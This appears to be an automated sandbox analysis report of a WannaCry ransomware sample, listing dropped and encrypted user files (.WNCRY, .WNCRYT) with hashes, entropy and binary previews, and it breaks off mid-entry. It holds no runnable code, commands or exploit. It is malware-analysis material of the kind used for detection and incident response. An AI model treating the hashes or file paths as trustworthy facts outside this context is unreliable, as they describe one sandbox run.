                                                                                                      Preview:....6...6.9.|.VK.N.dc+....P.k...5.].3../,+...@1kQ .1.5Z>..G..z.y.2W.!.a.[.....J]".).,.3.ET.j.+..d.Z7?.............\...H.=....B..:.*..vh-[....P7....=+.}..uW..N.+T.q.R.1c..=z.-...r.OT.........2.3..\...w`a:2.w.'.7..246..]_..1[9N....n..q.7.O.b..+I........%*$4+...V..K..3.5@L.9..q..71.N..+~.9X.......).....L......PQ...X*.x........(...8.%.../.&Pj=J...rd.N.'.n.HG.Cw.!.gNLy.P..o.rh........W...Ec)Z....#t.....:..^..n\T......".......-p..._...s;g......B...`H.uy...(. ,...>Cd.U..A.`.o.2....e.4gy.^.,5Z)F...|M..E.....y.....".F.$..b...V...O...h...< ...Q..7;.t.SKp..H...._.h.|2..=....c..Gl.>..]....e..,......$.wcz...(..l..N.N ....;..%.U......1.sK>.......2.........#..Ll..vU.....dt,~...V...j.........s.O...&Z.._........%yq.X....$..&......C.i_..L....Y.i.e3..5.".H.a...v..n...o.1G{{..c|.o...Q...v/"\H7.es.W...&.8gSWJ....3i.....X....._..BFt|K....=.P...x}..H..Alt. 0..P`.`.....j.,.{...u......TT...#.3pp{..;.../.IF*^w..1e/..Yo.Gs......*.d.Z.....[=...C2..A8..\..?.e.Q.;I4N..i.57.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820418937043432
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkspH6i+Do1BEM2I47zF6GMDLuSatBnoytGKB1BHXFWForciciyQB3X:bks0QVd47zF6GqSRLDtGK9H10iyOX
                                                                                                      MD5:E35803A4938FCFF3A28D66FC4279AC45
                                                                                                      SHA1:FD04F126A6F9E5913DE4AA11AF8F8D4859441345
                                                                                                      SHA-256:1B2CFB0E9BD16BDC19A2D12D2C9FC3303B70E26DBD55B2685C30AA8AA2699B13
                                                                                                      SHA-512:5B134E3FB698221271E2D5C5E5A3B8CA976C3CD7542315ADB1334F58838A1744AE9B82DFED78596813DE78BF8CF6B46CD1A730F5E296B28BC6238C7A4BFD4A71
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......E.....$1.4BCe.Nv.......}xQ......c.M/..O..d.6.Y..A......%.......wC...5Yd...x.H......NUU|*.c.4T..../...;...%.@...........!/..[s.-...9....rErW.<..gg._H.x.qqQ,..fn..&....?... .,.L.I..6.\"]]a'o+.V...^@)./._=...trz...2h...k.J...Q...V.A.u.,..W+29................=u.Q.K8....U...uU.P..........@./vu.1..L.Zgkw....z....w.............F....V.wPF.A..[....g.JZG....z..........@...G.... .u...........| .._..f.yC. .e........f..m)....}.).}.....A.'....6..d...x..3..N..c..!.....+'.Y.cg...4...=.\.(...)......A..lH.....,...K.............YI5.%.FOH.^...p...@.....C.p...Y.....:p...Y*..V....[.I.|-...~...\..C..>..?....)......W..0}.......i.Y3S..Z.5X.=....K...YU...Y...1.S....).S...2.g......3...q7....P..lT.C.....0..O+....q..g.).........r........Ji...6.~o.\uA..u....\P..]]e,.P.X....h-.......j.u...`....N...&..&.].P....P....x.../..Y9. S.,.X,R}....YJ...#....y..<"~.{0..q."..UU.P.T..v-........`...|..9...F?.Z.m{....m..-.y.Y'.>..d..`7>.=..f).$..8.u...:..N....7S.../..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820418937043432
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkspH6i+Do1BEM2I47zF6GMDLuSatBnoytGKB1BHXFWForciciyQB3X:bks0QVd47zF6GqSRLDtGK9H10iyOX
                                                                                                      MD5:E35803A4938FCFF3A28D66FC4279AC45
                                                                                                      SHA1:FD04F126A6F9E5913DE4AA11AF8F8D4859441345
                                                                                                      SHA-256:1B2CFB0E9BD16BDC19A2D12D2C9FC3303B70E26DBD55B2685C30AA8AA2699B13
                                                                                                      SHA-512:5B134E3FB698221271E2D5C5E5A3B8CA976C3CD7542315ADB1334F58838A1744AE9B82DFED78596813DE78BF8CF6B46CD1A730F5E296B28BC6238C7A4BFD4A71
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......E.....$1.4BCe.Nv.......}xQ......c.M/..O..d.6.Y..A......%.......wC...5Yd...x.H......NUU|*.c.4T..../...;...%.@...........!/..[s.-...9....rErW.<..gg._H.x.qqQ,..fn..&....?... .,.L.I..6.\"]]a'o+.V...^@)./._=...trz...2h...k.J...Q...V.A.u.,..W+29................=u.Q.K8....U...uU.P..........@./vu.1..L.Zgkw....z....w.............F....V.wPF.A..[....g.JZG....z..........@...G.... .u...........| .._..f.yC. .e........f..m)....}.).}.....A.'....6..d...x..3..N..c..!.....+'.Y.cg...4...=.\.(...)......A..lH.....,...K.............YI5.%.FOH.^...p...@.....C.p...Y.....:p...Y*..V....[.I.|-...~...\..C..>..?....)......W..0}.......i.Y3S..Z.5X.=....K...YU...Y...1.S....).S...2.g......3...q7....P..lT.C.....0..O+....q..g.).........r........Ji...6.~o.\uA..u....\P..]]e,.P.X....h-.......j.u...`....N...&..&.].P....P....x.../..Y9. S.,.X,R}....YJ...#....y..<"~.{0..q."..UU.P.T..v-........`...|..9...F?.Z.m{....m..-.y.Y'.>..d..`7>.=..f).$..8.u...:..N....7S.../..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.838337856484303
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:MJuOPHw1g8/vaJ2az+6GamY3NbBOWSf6EzdM7oc99Lpy:gu//Bam8OWSf6N7HJy
                                                                                                      MD5:062DD3828FA760054C83989166EC5320
                                                                                                      SHA1:1EBA357DEF3E79574E91799D2A8976A7C28FF679
                                                                                                      SHA-256:6F3F417F2444F10E4C7504E6FE9986DE37A8AAC59F9B030D32993105082CEC0C
                                                                                                      SHA-512:60E9A6AE435F6CEB863E204CCDE286F151114B59454ECA608BF6CBD44BE3035CD139F80B7A90A364ACEBD7023ADC63EF2FD004AB16BE3DD9C4A4E3C1927ACD8B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:A|.`..$.w.x..H9..M.....r[....A..7..z...N...f.e..8*.....P......].})n.hhh.w.O^...|..3hh.G./...T..^.4..x.J...S..&.o.fO.l.4....`....J.~<.ww.ixw....7I.~...js.gQA'.-!x......J...W.X+.M....u3.U.#.r1...MW.V.#X.k...L...Z......t..(.6..u .~.C...-V.c..OO.6f=MU(d.......2d;a.GT2.........bl..N.j...af..|6.K.._M...h..0h............P).k...f....S..t......T68.91,..../..\...=..S ./.../...h....s.R..EMx....3>.ip.g?.5..$|..Y...dR_.$.,>}..........S....X...y4|...&i....x..>.1e..MC..^r.!@.(bB.!.^..MYQ%6.*.4..3.]|BG.vzV_.A......F..q.sa.8D#H.q..B3......%.\.I.6I..,....:......UB...iD..C......6..P??..w'.b..NK...Q..E.{..Hu:]..F..G.7.....p.P....6_H.....7{..%.y...9Z.k}e>h..tB..G.v0.j...(R....|...e....Mc..vx.x..}...T...(..[.N.n...l.}J.y.fg.`...?J.x..cl.)..k....G....t-...%#I\r....[..L.E*..,P..*...e[ki.......]A.....rc=..".\KP...[=.`.2.dN3.r.^..._..f.{q.r...H..u. P..3yJ...m|#....u...../..A.}.71......$O.M.....I...<i...F,..u.......0A....j.zEKS....7Q.1......-.uz..o}R<g...3.!;2R.Q.T%Z

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.838810039000475
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkE8ryTKwuKm38t8qFzS9YjWBIdFOkGlyrbU4hPFoMRcABTonswqk45uE:bk3ro0KcoS90RP1RBBTonswL45B
                                                                                                      MD5:12915D85BD9FEE339D75EE2D0BCCA048
                                                                                                      SHA1:CD88174A73DF6F9D858B86AAA20B89FE22A917D2
                                                                                                      SHA-256:3794AEA2B87B5F9BBA7CC1E4A648FFD5A3FC81E0C8D7BEE57BDC5AD5FD8D60DD
                                                                                                      SHA-512:CE7479CBA6F14A4686755206F783ECDA099FA70FBA3098A994A04F10A173F77B333B953E84A00DB20763F3F0ADEBB92CDBB1F47BC2433D35FA25F847396CDE06
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... Z..KaHB.W.=.S.....j1.3.....J......\.M. D.<..gw.p\.......B...).."O...]..eWm=*...%...gy...E.Hvyn...0*.V.EB....."......_.u..i.ui..fI .g.W.D..c.s..P..]..-..GtNO.%G..T.)a.5......nV.%hZ..;x....Q.!.5..WP..vgK&.!..`.M. ...h.#;.1.....*...XlW..4..s.P..............7.+\.J.....mf.C.~3nY.x`.qO.D.9....M.)W..L........D.o.......3....Q....eNg9..&Q.7....6E"#..5.2EWB^....-..RO....6..g;..j......O..........b....:R.m.........u.X...-..\9.........ju...:I..E......D=...:..I.6bYI..)+rt.N`=.....0....K..?.4I..V...$9.).`m._...........A........k4V..ZZ.R.}..$?..@....N..8.9(._.L....D8..u.y.u.W.k..'..$.Q.w.G25i6.._.!.f./.y45s.....BU.K.2 ......L.`f+...]\...m.1.....G...T M...hthm..m.f@T....5O,.. VU.7..<`eh.?..E.'.2.3.voF..-....n.n.....rzL...#.y..;C.=.....;..r.3`^~\.Qfv.B.?..}.}q^...6tg.d.. Ko....U...$.....Q..V.....|..~;Cg..Fi_1.D..........j{...j.UE...3wHVqG..........m.e..<+z".|.V.").*...Z C..5.=*[.....X.&..yy.^..........l.....mu.<{."....t..D6..A3j..*f..>.....7)#...p....

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.838810039000475
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkE8ryTKwuKm38t8qFzS9YjWBIdFOkGlyrbU4hPFoMRcABTonswqk45uE:bk3ro0KcoS90RP1RBBTonswL45B
                                                                                                      MD5:12915D85BD9FEE339D75EE2D0BCCA048
                                                                                                      SHA1:CD88174A73DF6F9D858B86AAA20B89FE22A917D2
                                                                                                      SHA-256:3794AEA2B87B5F9BBA7CC1E4A648FFD5A3FC81E0C8D7BEE57BDC5AD5FD8D60DD
                                                                                                      SHA-512:CE7479CBA6F14A4686755206F783ECDA099FA70FBA3098A994A04F10A173F77B333B953E84A00DB20763F3F0ADEBB92CDBB1F47BC2433D35FA25F847396CDE06
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... Z..KaHB.W.=.S.....j1.3.....J......\.M. D.<..gw.p\.......B...).."O...]..eWm=*...%...gy...E.Hvyn...0*.V.EB....."......_.u..i.ui..fI .g.W.D..c.s..P..]..-..GtNO.%G..T.)a.5......nV.%hZ..;x....Q.!.5..WP..vgK&.!..`.M. ...h.#;.1.....*...XlW..4..s.P..............7.+\.J.....mf.C.~3nY.x`.qO.D.9....M.)W..L........D.o.......3....Q....eNg9..&Q.7....6E"#..5.2EWB^....-..RO....6..g;..j......O..........b....:R.m.........u.X...-..\9.........ju...:I..E......D=...:..I.6bYI..)+rt.N`=.....0....K..?.4I..V...$9.).`m._...........A........k4V..ZZ.R.}..$?..@....N..8.9(._.L....D8..u.y.u.W.k..'..$.Q.w.G25i6.._.!.f./.y45s.....BU.K.2 ......L.`f+...]\...m.1.....G...T M...hthm..m.f@T....5O,.. VU.7..<`eh.?..E.'.2.3.voF..-....n.n.....rzL...#.y..;C.=.....;..r.3`^~\.Qfv.B.?..}.}q^...6tg.d.. Ko....U...$.....Q..V.....|..~;Cg..Fi_1.D..........j{...j.UE...3wHVqG..........m.e..<+z".|.V.").*...Z C..5.=*[.....X.&..yy.^..........l.....mu.<{."....t..D6..A3j..*f..>.....7)#...p....

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\NVWZAPQSQL.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7815088467435976
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:XKcNCSlQm3rinOToiJGHuXEv/IH8DRzHb7FvYKJuoErPkv15sEuOi:XKCHN54X281z7mjoErm3qJ
                                                                                                      MD5:EC1EC0F69ACFAAF62619F7DCA6839CA5
                                                                                                      SHA1:CF97049397BF832306E8AC64EBF49D44831DE368
                                                                                                      SHA-256:A03F2E9CC8B03DE8F891E5A889CCA0C4D13749C118CD24F24A88D1FC53979C61
                                                                                                      SHA-512:FA6F1B473091BE835D102D0A23B96636209C55DDDB82215EFCD67615FF66DE870664D68E09F2095AC352E96B036C7DFAD8D3F742C9BA216C84B36FC9023FC884
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:|8.yb.E.t....6l......+. .r.>/GTD.I.PU...xq....{......9....._..jD.p...........:..4Wi.43.....'..].y. .I<^=.M.1..$;..3..S.X.90KE...r.........)f.z.R..gs..3.yz.....4Nt..|A.AU....A.z...d...3_.+...M..@..y.......S.....*.k.q....S.X..xm.5b.0...%.8...xk.i.;`m+.U...`8V...b..D.9(/.T..0...q+]...4...=.q.....p..e.}....R..L..N.?:3....h^?k..| .%,..DK..YC..#.......)s.~W.p.}e.......L*...&`........L.p>g].S..M......+.........Sw1..(.(..._.|...;b.]...4x_...zr......%N.9w.r{..*.;...1.6......&m...5....(.8..7....Gle.2....X..{y....U&e.@8.C..;...J<_aV..6W\.I....7h<.A}D.&...3`.....'...cS....b.Y..A1..#|..k.M...:o...Q2.................1 $.K.Tr.'...o.$..6...9.;R.j@.M..'^V.....U...xe..V+...tD......V.._.\...6...~.5B.D.FM.:]M....0.>,B.} .SG6.=.,.......^..V{.e.d`u...D..,..<.....8.8.C....t.......Dv\{.s..r....N=.53...f.|.[g..,..+..9[e..?.J.V..:Nd.?...a...X$m.9T.b........A.r.G.K.-...Zz...j.V...-&..B;...........}..O..i..=...:t./....O..~...m6Y.S.r.k....%.8S..Mf.V.JG...'.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859572694684699
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMCmXjQGLzC7XyokF2GnGmrlbpakt5l1G9sI3ykNaG/RpLMTNA/y:bkgzQGFF2GnLrlbE21G936UNM5A6
                                                                                                      MD5:3E456BCDE1892A09690D059A5F283147
                                                                                                      SHA1:75C91927311358AE17B3A760D5784B5344006CE7
                                                                                                      SHA-256:0C91B54F0AC349B0AC80CD865393F50239443E0E1E1F29D7B78C1C2F37393594
                                                                                                      SHA-512:C414DD96050A536BBC7B2B37A94E559D24860C101830E5143BF404A6C3CF6DA34DA70D9DA0B18114077E6BB520DA2571772350A0872240DE35B2B6C400F0EB8E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........h..Rj........J.Z.....nx..l^...t...)......|.f.l.x.)...D.....x...g...gkx6..c0.1K.".10..oM...)v..8..5.+...%d.......!....G3...,...c..8...W....w..z...Z..... ]Y.d2.....H..P..@...nC<,w.....'.9a....#)Q..+.T..X.v.n;.{wk4..K..LO..+.x.........elY.o...............c.o......Eh.....!....(V..<G...r.X..].{tt.D.%..)(.......6#..eDe...L.....m..tT/...I.S.Y..C...J.hdg*t..;&.P.-.....`.lk.V..j.=......J...b.n...p.&..u}..G.........L.o(<W(;.....E.f.Dq...|.@&2.l.+].?..<...z.}.^`7.ew...";_......!fL=..e..h=...d...9.)n.....E....M...Z[r....M._..b..........,..#<...O....5)...R.-.1.......P'.Or')....AA.qNc.....H.>.9$..E..$._...f.3g%O.Q..W.B .l.D.{..j.......m......;l#...o.).,..0o.....H../.X..g.y...)..1\*.(a5CX....Gi..e..R+..W.~(..?... jo..y....+...~....3?."X....].......V.]..#`iK..u..X..b.+...e.K.......7....1Yk.D...R..2.K..[..O.6c..Y...+<..."[Z.X............?..4f.B$....... N.....t...i...m.R=..6..7j<...`..".t......:G..?....D........h.....e.U..c.....f|l...N.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859572694684699
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkMCmXjQGLzC7XyokF2GnGmrlbpakt5l1G9sI3ykNaG/RpLMTNA/y:bkgzQGFF2GnLrlbE21G936UNM5A6
                                                                                                      MD5:3E456BCDE1892A09690D059A5F283147
                                                                                                      SHA1:75C91927311358AE17B3A760D5784B5344006CE7
                                                                                                      SHA-256:0C91B54F0AC349B0AC80CD865393F50239443E0E1E1F29D7B78C1C2F37393594
                                                                                                      SHA-512:C414DD96050A536BBC7B2B37A94E559D24860C101830E5143BF404A6C3CF6DA34DA70D9DA0B18114077E6BB520DA2571772350A0872240DE35B2B6C400F0EB8E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........h..Rj........J.Z.....nx..l^...t...)......|.f.l.x.)...D.....x...g...gkx6..c0.1K.".10..oM...)v..8..5.+...%d.......!....G3...,...c..8...W....w..z...Z..... ]Y.d2.....H..P..@...nC<,w.....'.9a....#)Q..+.T..X.v.n;.{wk4..K..LO..+.x.........elY.o...............c.o......Eh.....!....(V..<G...r.X..].{tt.D.%..)(.......6#..eDe...L.....m..tT/...I.S.Y..C...J.hdg*t..;&.P.-.....`.lk.V..j.=......J...b.n...p.&..u}..G.........L.o(<W(;.....E.f.Dq...|.@&2.l.+].?..<...z.}.^`7.ew...";_......!fL=..e..h=...d...9.)n.....E....M...Z[r....M._..b..........,..#<...O....5)...R.-.1.......P'.Or')....AA.qNc.....H.>.9$..E..$._...f.3g%O.Q..W.B .l.D.{..j.......m......;l#...o.).,..0o.....H../.X..g.y...)..1\*.(a5CX....Gi..e..R+..W.~(..?... jo..y....+...~....3?."X....].......V.]..#`iK..u..X..b.+...e.K.......7....1Yk.D...R..2.K..[..O.6c..Y...+<..."[Z.X............?..4f.B$....... N.....t...i...m.R=..6..7j<...`..".t......:G..?....D........h.....e.U..c.....f|l...N.

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\PALRGUCVEH.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.850751022684902
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:8InTADK3tQIKvWyN0Mlts//r3e13Lv0W+nQePYYoyAAUX:ReyyI3yNzwHrWJGToH
                                                                                                      MD5:8E7F80F5BFE6ACBF86A4E9DD27575E1E
                                                                                                      SHA1:58B5D5321051F38BD46131E9F4358552638476E5
                                                                                                      SHA-256:C12B3C04F8CE5B17AE726294AFA67619DD7017D4558A19A9535DC007C3CE6799
                                                                                                      SHA-512:9F15073BB9A1FC72E5A5B4A0FBC73357886DFEF76D5B51A401CEF2C45AF3C2986D10832A0A8240E02D4BE9279D407ED488806A502B82967DF4A2C5B8983EB7E1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:J.n..R.w.....Z'.sb.....VZ%~........r9.Z.f_.m.U......9B..{.->..9.0_P...l...H:Q..~gc.R.u.);.%..t.......N.6.>d.:..U.........i.+.....O....>.h/......*....H.S..V.ua..O{..pI.^..Gn@....b\..........F...0E.*/......h......b./...t.FD+.X..o.....ih.Z...l.9'......R.....$...\BFj..V...c..I..M...D..gf.o.O..k...~;.....@..#..p....od_....'p.7....!.3...f...s%*E#..<,Y...Rz.`.l.....#kH..%w+.,_Y.T.t..._..8..dt.dtT!.t.g.sJW......C..T..2,X.v..V^.KO......tJa.a../.....n...=.[..+...t%..h. .t.u.L...}W.....vo....<.V..W..07Iz.....OF..&...R....'.f...]35k..5K...R.O.<.u..];.)...[8..B.i.o%...=.1..*..s...%n.^s..Ot.:....`.|z/..M..3'T...u..5..8... f..)z..?....c.((.....n[..d.7.r.c...H.X......L..A4%h...*...AX..I..}...8.T..'*.").:.*.....r......PX....-..a....mb.K..R.[".$.......YG.3Yx[.`....D}..:.6t..8q.......H9.A..J<..l.9........Y..'3.>4[..7L..x.!q....E..U2.._u.e3?:.A.,....N...Y..Og.WGX.Q......... .-1;H.vN......5:.Z.~....2..W..H.........`...b.0....A..y..-.|^.h.E.uBSl.>LpK.T.QM..]_Q....$..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\PALRGUCVEH.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.863190604781663
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkqsIB1klVmgxacgxH+0VnZvAT9Skj6RzxKg35ZVO41egnkKOcMSG1lKKYr6heqc:bksBPgxajJnZvAx/OCW1e0kKOcMVK9ui
                                                                                                      MD5:6ED973127A8FD6F8C86B6314E51FCA93
                                                                                                      SHA1:02E166D019D6B6BCB7E70E2C7DCC5E66923DEF34
                                                                                                      SHA-256:62DE88DD8B0BD1B3F8D94BD64A6544F7A4779C6798049F64CB9E29CF6B76C663
                                                                                                      SHA-512:1E565280B6AC624574ED8ED02564ED74077FD6C1CB525D60C9BCCC36E48CFB0199FCAB4F92C69064FA983DA29406AA90DBD0387DDF7A8A08994ED8BC6D3A140E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....S.........j$..UD..R..L....T.T2<..>..1...V...u8~y.:..g..A.0..[.y..-........<_+.M@k3......K...%...!.qd.:....j...G..`x.5U36...v..g."z...Y..W...=C. ....\H {...u.K.A&b....4.h.1...~..T........"gR4.1.N.F...z.c...5..d&g.>.....Y.....F.L.I.f.Y..XV..q..............{.T.4..c.J.~.i...u....[...ct...;;.'..(........./.-.KG...kl.Y........N.P.!.........-I"'o.(..M.S.8....!.....:.J:....:. ...r...ou.~..D.^.o.s=T.%.l.V.k.wz.u..w...fJy..B`-.m.4CF..V/...%4l(........M>W!z...$Z.j..w.P..6..,...........KM.....EsUL..y:.!..4..w.......8r..Ry.L.`B..E.......J..%p.n.7.........\4.........g'6;e ........A...Bf.k...t......^-h..W......&.......S.zk...;.6.....@...x...(.].C.co..+q.o}.~.X..N|~Z.a.,7Z.2^:u..Vs.i......x.......!]RZ.Q.)....1..(..+.j....;..E)...A......+.p..b..........6...nl(..=.t.x4.x.pv!!*..P.......~...Z.~4X....U....!..=).J+q..#...y..;.?+I.M.>.!i..c.&..[+Ng.p&>..{.;\..uE.Z...`.w7...H. ...i.|x..............e.m..A`,@...nc.A[......(..Y.._....{...n..

                                                                                                      C:\Users\user\Desktop\EEGWXUHVUG\PALRGUCVEH.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.863190604781663
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkqsIB1klVmgxacgxH+0VnZvAT9Skj6RzxKg35ZVO41egnkKOcMSG1lKKYr6heqc:bksBPgxajJnZvAx/OCW1e0kKOcMVK9ui
                                                                                                      MD5:6ED973127A8FD6F8C86B6314E51FCA93
                                                                                                      SHA1:02E166D019D6B6BCB7E70E2C7DCC5E66923DEF34
                                                                                                      SHA-256:62DE88DD8B0BD1B3F8D94BD64A6544F7A4779C6798049F64CB9E29CF6B76C663
                                                                                                      SHA-512:1E565280B6AC624574ED8ED02564ED74077FD6C1CB525D60C9BCCC36E48CFB0199FCAB4F92C69064FA983DA29406AA90DBD0387DDF7A8A08994ED8BC6D3A140E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....S.........j$..UD..R..L....T.T2<..>..1...V...u8~y.:..g..A.0..[.y..-........<_+.M@k3......K...%...!.qd.:....j...G..`x.5U36...v..g."z...Y..W...=C. ....\H {...u.K.A&b....4.h.1...~..T........"gR4.1.N.F...z.c...5..d&g.>.....Y.....F.L.I.f.Y..XV..q..............{.T.4..c.J.~.i...u....[...ct...;;.'..(........./.-.KG...kl.Y........N.P.!.........-I"'o.(..M.S.8....!.....:.J:....:. ...r...ou.~..D.^.o.s=T.%.l.V.k.wz.u..w...fJy..B`-.m.4CF..V/...%4l(........M>W!z...$Z.j..w.P..6..,...........KM.....EsUL..y:.!..4..w.......8r..Ry.L.`B..E.......J..%p.n.7.........\4.........g'6;e ........A...Bf.k...t......^-h..W......&.......S.zk...;.6.....@...x...(.].C.co..+q.o}.~.X..N|~Z.a.,7Z.2^:u..Vs.i......x.......!]RZ.Q.)....1..(..+.j....;..E)...A......+.p..b..........6...nl(..=.t.x4.x.pv!!*..P.......~...Z.~4X....U....!..=).J+q..#...y..;.?+I.M.>.!i..c.&..[+Ng.p&>..{.;\..uE.Z...`.w7...H. ...i.|x..............e.m..A`,@...nc.A[......(..Y.._....{...n..

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79256749930897
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:nu8NmzAU81KMG7tkzVQ0HadOxQxh5vKDw7Fn8L5FWzS2oXmrUUVn:u8NmzArgn50qh5vB718IS2ocUUVn
                                                                                                      MD5:EB80DBE9C6214E54DB139E067A809454
                                                                                                      SHA1:63606B9157F3BB40A7BECAA20AEE250597B06272
                                                                                                      SHA-256:F91A3AF11D10DB24D084F3139A6FEDBB534AF1BA605B2907AAA41AB539E86B1A
                                                                                                      SHA-512:B7B3727629D232ED1DDB4B5F71EF8DF9DCA1DED9718C6328A7EFC079FAA29EC7664D622E8DF8FE8E2ECB3F25AEFDEFD486E83DF5AC003930A909D4E13F94AC4C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....D....a..!..S...8.H.L(.)hn...<1.Pg.4.b..H...].L....D..H.x8~.1nY_T...Kw....C........F/_.D.......k.n...AB....;i......y.k.T.....w....Y.~NC(1hg_....${.,:.E...2....Q:.w..!....9.F...Q....s\y....34..h.....8.8...u.`..X....B@q..v..U..K2r.M...Zt.u..G........28...........O.^8.YW.-E.....6.0.n.oxR..q.8dN.....w....zg..Gpx*2k^... ..&..O...D-2Y.q.+Xp..D^.H..."g...!.V...c#..w...*..>.y..h.yI..u..*f.b.s..&PuR-..|5...G.Y./..:......H*.../X\V*q.......D..!.F..5....\]......%..*.@..(:x.H..p.et...039..w{.f5.......aq.GgL..y....w.|J.2.Q.@~...j.Q..k.A..%A..R..o..j..+...G.gb; .......M.. ...0T.@}.c.x9.2.K8...8I..N.}..QXF(...t...D.2..t..je.h..Y.b.k...v..d.l.8Ir..L.........-o....6..PZ.....%............/.v=...\r.pE^{...#....~T..=..Y.d.....P.z.-...-N`.....zz...j.\z%}..U..zW.&.2~..h....}........x.>q..L.P.T.p....u.....uJZmd.k..>P..a.g2,..#...J.....9.8..m@.{..0T.......6..@..*...` ...]...^....{ .......O\.o!..E..w..4.-..f..D..^......0...D.D.Y.....v.*...w.Ne.<......W..v..

                                                                                                      C:\Users\user\Desktop\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849221610509778
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkd1Q8KkqslLAEnuw7MaSRta37JsURumURKkQpyk3lf2ltIUHW8q:bkw8KsHKk7WURuxRKTyylKIUHWN
                                                                                                      MD5:1F8150CC2B238E59B5C3351370346D92
                                                                                                      SHA1:98EB43C1A83DDCC93D8D24BF753D72C91B73505A
                                                                                                      SHA-256:D5BAB72EC54410884912B233A41D7A2894A7DEBF20601D567426065A5FD45741
